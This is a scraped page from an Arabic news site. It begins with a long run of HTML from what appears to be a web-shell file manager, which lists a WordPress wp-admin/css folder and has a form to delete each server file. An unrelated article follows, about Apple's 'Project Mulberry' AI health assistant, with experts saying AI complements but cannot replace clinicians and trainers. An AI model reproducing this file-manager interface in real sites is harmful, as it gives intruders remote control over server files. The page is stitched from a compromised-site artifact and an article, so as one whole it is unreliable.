            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.css"> install-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall-rtl.min.css"> install-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.css"> install.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Finstall.min.css"> install.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/install.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.css"> l10n-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n-rtl.min.css"> l10n-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.css"> l10n.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fl10n.min.css"> l10n.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/l10n.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.css"> list-tables-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables-rtl.min.css"> list-tables-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.css"> list-tables.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flist-tables.min.css"> list-tables.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/list-tables.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.css"> login-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin-rtl.min.css"> login-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.css"> login.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Flogin.min.css"> login.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/login.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.css"> media-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia-rtl.min.css"> media-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.css"> media.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fmedia.min.css"> media.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/media.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.css"> nav-menus-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus-rtl.min.css"> nav-menus-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.css"> nav-menus.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fnav-menus.min.css"> nav-menus.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/nav-menus.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.css"> revisions-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions-rtl.min.css"> revisions-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.css"> revisions.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Frevisions.min.css"> revisions.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/revisions.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.css"> site-health-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health-rtl.min.css"> site-health-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.css"> site-health.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-health.min.css"> site-health.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.css"> site-icon-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.min.css"> site-icon-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.min.css">
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<p class="MsoNormal"><strong>كتبت: فرح سمير</strong></p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> مدربك، طبيبك، وخبير التغذية… داخل هاتفك</mark></strong></p>



<p class="MsoNormal">! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> “الذكاء الاصطناعي لا يملك حدسك”</mark></strong></p>



<p class="MsoNormal">الدكتورة &#8221; إيمان الحجار&#8221; استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">العلاج الطبيعي: دعم لا بديل</mark></strong></p>



<p class="MsoNormal">أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">المدرب الرقمي في جيبك…،</mark></strong></p>



<p class="MsoNormal"> تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.</p>

			
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				<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item very-hot"><span class="tie-icon-fire" aria-hidden="true"></span> 9٬078 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->

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\u0648\u0627\u0644\u062a\u0642\u0646\u064a\u0629.\r\n","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d8%ad%d9%8a%d9%86-%d8%aa%d8%aa%d8%ad%d9%88%d9%84-%d8%a7%d9%84%d8%b3%d8%a7%d8%b9%d8%a9-%d8%a7%d9%84%d8%b0%d9%83%d9%8a%d8%a9-%d8%a5%d9%84%d9%89-%d8%b9%d9%8a%d8%a7%d8%af%d8%a9-%d9%85%d8%aa%d9%86%d9%82\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom 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